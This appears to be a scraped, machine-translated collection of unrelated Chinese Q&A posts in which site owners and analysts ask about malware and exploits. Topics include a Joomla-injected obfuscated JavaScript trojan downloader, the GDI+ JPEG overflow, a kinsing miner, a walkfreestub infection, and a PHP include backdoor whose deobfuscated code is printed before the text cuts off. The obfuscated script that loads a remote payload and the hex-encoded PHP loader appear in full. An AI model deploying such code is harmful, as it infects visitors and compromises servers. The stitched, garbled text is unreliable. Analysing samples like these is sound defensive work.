我的Joomla!网站一再被黑客入侵.不知何故,有人设法将以下垃圾注入关键的php脚本,但我的意思是不要谈论配置Joomla.该网站访问量不大(有时我担心我可能是该网站的唯一访问者...)而且我并不关心网站是否备份和运行.我最终会处理这件事.
我的问题是,这种垃圾是如何运作的?我看着它,我只是看不出它如何造成任何伤害?它的作用是尝试下载一个名为ChangeLog.pdf的PDF文件,该文件感染了一个木马,打开后会冻结你的Acrobat并对你的机器造成严重破坏.它怎么做,我不知道,我不在乎.但是下面的脚本如何调用下载?
<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->
Run Code Online (Sandbox Code Playgroud)
ESET已将此代码检测为JS/TrojanDownloader.Agent.NRO木马
我一直在阅读有关Windows XP和Windows Server 2003上针对GDI +的旧版漏洞,我正在研究一个名为JPEG of death的项目.
该漏洞利用在以下链接中得到了很好的解释:http: //www.infosecwriters.com/text_resources/pdf/JPEG.pdf
基本上,JPEG文件包含一个名为COM的部分,其中包含一个(可能为空)注释字段,以及一个包含COM大小的双字节值.如果没有注释,则大小为2.读取器(GDI +)读取大小,减去两个,并分配适当大小的缓冲区以复制堆中的注释.攻击涉及0
在现场放置一个值.GDI +减去2
,导致的一个值-2 (0xFFFe)
,其被转化成无符号整数0XFFFFFFFE
的memcpy
.
示例代码:
unsigned int size;
size = len - 2;
char *comment = (char *)malloc(size + 1);
memcpy(comment, src, size);
Run Code Online (Sandbox Code Playgroud)
注意malloc(0)
在第三行应返回指向堆上未分配内存的指针.如何写入0XFFFFFFFE
字节(4GB
!!!!)可能不会使程序崩溃?这是否超出堆区域并进入其他程序和操作系统的空间?那么会发生什么?
据我所知memcpy
,它只是简单地将n
字符从目的地复制到源.在这种情况下,源应该在堆栈上,堆上的目标,并且n
是4GB
.
我们正在使用 EC2(Ubuntu) amazon 实例来运行 Apache。最近我们注意到有一个进程使用了整个 CPU。
我们使用以下程序的帮助将其删除
[root@hadoop002 tmp]# systemctl status 25177
? session-5772.scope - Session 5772 of user root
Loaded: loaded (/run/systemd/system/session-5772.scope; static; vendor preset: disabled)
Drop-In: /run/systemd/system/session-5772.scope.d
??50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.conf
Active: active (abandoned) since Wed 2020-01-22 16:06:01 CST; 1h 21min ago
CGroup: /user.slice/user-0.slice/session-5772.scope
??19331 /var/tmp/kinsing
??25177 /tmp/kdevtmpfsi
Jan 22 16:06:17 hadoop002 crontab[19353]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19354]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19366]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 …
Run Code Online (Sandbox Code Playgroud) 我在手机上看到一些Android应用程序需要这个android.permission.READ_PHONE_STATE权限.我不知道我是否可以信任他们.我知道这个权限会让应用程序访问许多信息.我特别感兴趣的Android应用中要实现的功能通常需要的信息等DeviceId
,SimSerialNumber
,SubscriberId
?
我想分析使用编码的PDF文件中的流对象/FlateDecode
.
是否有任何工具可以解码PDF中使用的此类编码(ASCII85decode,LZWDecode,RunlenghtDecode等)?
流内容很可能是PE文件结构,PDF可能稍后将在漏洞利用中使用.
此外,xref
PDF中有两个表,这是正常的,但也有两个%%的EOF xref
.
这些存在是否正常?(注意:第二个xref
指向xref
使用/prev
名称的第一个.
这xref
指的是第二个xref
:
xref 5 6 0000000618 00000 n 0000000658 00000 n 0000000701 00000 n 0000000798 00000 n 0000045112 00000 n 0000045219 00000 n 1 1 0000045753 00000 n 3 1 0000045838 00000 n trailer > startxref 46090 %%EOF
第二个xref
:
xref 0 5 0000000000 65535 f 0000000010 00000 n 0000000067 00000 n 0000000136 00000 n 0000000373 00000 n trailer > startxref …
让我们尝试访问
http://yahoo.com@3627729518
Run Code Online (Sandbox Code Playgroud)
任何浏览器.我们被重定向到google.com
.
3627729518
是11011000.00111010.11000010 .01101110
没有点的十进制表示.这种行为的原因是什么?
注意:
我已经更改了网址,因此它是通用的,但仍然存在http://domain@ip
.最初是本地银行网址和诈骗服务的IP.
我正在创建一个使用Webview
和Javascript
制作的Android Web应用程序addJavascriptInterface(true)
.
我的应用程序将内容将从外部站点加载的数据(html).
当我启用addJavascriptInterface(true)时,我担心我的应用程序的跨站点脚本XSS /安全性.
我应该注意哪些事情,以便任何恶意代码不应该在我的应用程序上运行?
我使用Chrome浏览的每个页面都会在控制台中显示此错误:
扩展:: uncaught_exception_handler:8
错误事件处理(不明):语法错误:无法执行上"的CSSStyleSheet" insertRule":无法解析规则"::内容#GoogleLeaderBoardAdUnit,::内容.insert_advertisement,::内容.ads-FIF,::内容的[HREF ^ ="http://www.gamebookers.com/cgi-bin/intro.cgi?],内容:: .ads324的包装器,::内容#rhsadvert,::内容PH_1PH_1广告引线,: :内容#gtv_tabSponsor,::内容#adsense1,::内容#ap_adframe,::内容#adv_google_300,::内容#iqd_rightAd,::内容#底部侧的广告,内容:: #right_side_bar_ami_ad,::内容.IPM -sidebar-广告中,内容:: .topad区域,::内容#advertising_728,::内容.logo_AdChoices,::内容#右uppder-广告容器,::内容.article_ad {显示:无重要;}'.在chrome-extension://cfhdojbkjhnklbpkdaibdccddilifddb/include.preload.js:345:25handler @扩展:: uncaught_exception_handler:8exports.handle @扩展:: uncaught_exception_handler:100EventImpl.dispatch_ @扩展:: event_bindings:384EventImpl.dispatch @扩展:: event_bindings:401propertyNames.forEach.target(匿名函数)@扩展:: SafeBuiltins: 19 $ Array.forEach.publicClass.(匿名函数)@ extensions :: utils:94dispatchOnMessage @ extensions :: messaging:316
如果我停用Adblock Plus(1.9.3),则错误消息消失.如果我激活Adblock Plus,则即使其他所有分机都已停用,也会再次显示错误.我担心Adblock不是问题,但会让问题可见.
我刚刚完成的一个项目被Google Adwords拒绝,原因是"恶意软件".我正在等待来自Adwords技术支持的回调以获取更多详细信息.
我担心我的系统或浏览器感染了某种已经进入我的网络项目的恶意软件.我不知道该怎么办.
我正在优胜美地10.10.5上运行最新的Chrome
有什么建议?
最近,由于NullPointerException
名为的软件包,我们的Android应用程序已经开始崩溃com.walkfreestub
.目前绝对没有在线参考(我们已经尝试了与崩溃相关的各种其他搜索).有关此包装或可能原因的任何信息都很棒.我们最好的猜测是有人反编译了我们的APK并修改了原始代码,以便在非官方的应用商店中重新发布它.
值得注意的是,这种情况最常发生在印度和尼日利亚,而且经常出现在小米2014818设备上(但这可能只是这些国家的常见设备).版本大多是Android 4.2和4.4,但也有5.1和其他版本的一些崩溃.
更新:
现在有几个网上论坛,用户都在抱怨有关的恶意软件com.walkfree
和com.walkfreestub
.请在此处,此处和此处查看链接.不幸的是,这证实了我们的假设,即APK确实在非官方应用商店中使用恶意软件进行了修改.
完整堆栈跟踪:
java.lang.NullPointerException: replacement == null
at java.lang.String.replace(String.java:1348)
at com.walkfreestub.trace.ReferrerTrack.checkTrackUrl(ReferrerTrack.java:158)
at com.walkfreestub.internal.PushServiceProxy.startDownloadApp(PushServiceProxy.java:454)
at com.walkfreestub.internal.PushServiceProxy.notifyToDownload(PushServiceProxy.java:239)
at com.walkfreestub.internal.PushServiceProxy.notifyMessage(PushServiceProxy.java:274)
at com.walkfreestub.internal.PushServiceProxy.onMessageLoaded(PushServiceProxy.java:342)
at com.walkfreestub.internal.push.WalkPushRequest$6.onResponse(WalkPushRequest.java:375)
at com.walkfreestub.internal.push.WalkPushRequest$6.onResponse(WalkPushRequest.java:1)
at com.walkfreestub.volley.toolbox.StringRequest.deliverResponse(StringRequest.java:60)
at com.walkfreestub.volley.toolbox.StringRequest.deliverResponse(StringRequest.java:1)
at com.walkfreestub.volley.ExecutorDelivery$ResponseDeliveryRunnable.run(ExecutorDelivery.java:99)
at android.os.Handler.handleCallback(Handler.java:730)
at android.os.Handler.dispatchMessage(Handler.java:92)
at android.os.Looper.loop(Looper.java:137)
at android.app.ActivityThread.main(ActivityThread.java:5136)
at java.lang.reflect.Method.invokeNative(Native Method)
at java.lang.reflect.Method.invoke(Method.java:525)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:740)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:556)
at dalvik.system.NativeStart.main(Native Method)
Run Code Online (Sandbox Code Playgroud) 我有三个网站都在同一个网络服务器上托管.最近我在其中一个网站上工作,并注意到,大约一个月前,一堆文件已被更改.具体来说,所有实例index.html
都已重命名为index.html.bak.bak
,并且index.php
文件已放入其位置.该index.php
文件是相对简单; 它们包含一个隐藏在每个网站的文件系统(看似随机文件夹)中的文件,该文件已经使用JS十六进制编码进行了混淆,然后回显原始的index.html:
<?php
/*2d4f2*/
@include "\x2fm\x6et\x2fs\x74o\x721\x2dw\x631\x2dd\x66w\x31/\x338\x304\x323\x2f4\x365\x380\x39/\x77w\x77.\x77e\x62s\x69t\x65.\x63o\x6d/\x77e\x62/\x63o\x6et\x65n\x74/\x77p\x2di\x6ec\x6cu\x64e\x73/\x6as\x2fs\x77f\x75p\x6co\x61d\x2ff\x61v\x69c\x6fn\x5f2\x391\x337\x32.\x69c\x6f";
/*2d4f2*/
echo file_get_contents('index.html.bak.bak');
Run Code Online (Sandbox Code Playgroud)
这里包含的文件是
/mnt/*snip*/www.website.com/web/content/wp-includes/js/swfupload/favicon_291372.ico
在另一个领域,它是
/mnt/*snip*/www.website2.com/web/content/wiki/maintenance/hiphop/favicon_249bed.ico
正如你可能猜到的,这些实际上并不是优惠 - 它们只是具有不同扩展名的php文件.现在,我不知道这些文件是做什么的(这就是我在这里问的原因).它们完全被混淆了,但https://malwaredecoder.com/似乎能够破解它.结果可以在这里找到,但我已经粘贴了下面的去混淆代码:
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
if(!defined("PHP_EOL"))
{
define("PHP_EOL", "\n");
}
if(!defined("DIRECTORY_SEPARATOR"))
{
define("DIRECTORY_SEPARATOR", "/");
}
if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);
$data = NULL;
$data_key = NULL;
$GLOBALS['cs_auth'] = '8debdf89-dfb8-4968-8667-04713f279109';
global $cs_auth;
if (!function_exists('file_put_contents'))
{
function file_put_contents($n, $d, $flag = False)
{
$mode = $flag == 8 ? 'a' : …
Run Code Online (Sandbox Code Playgroud)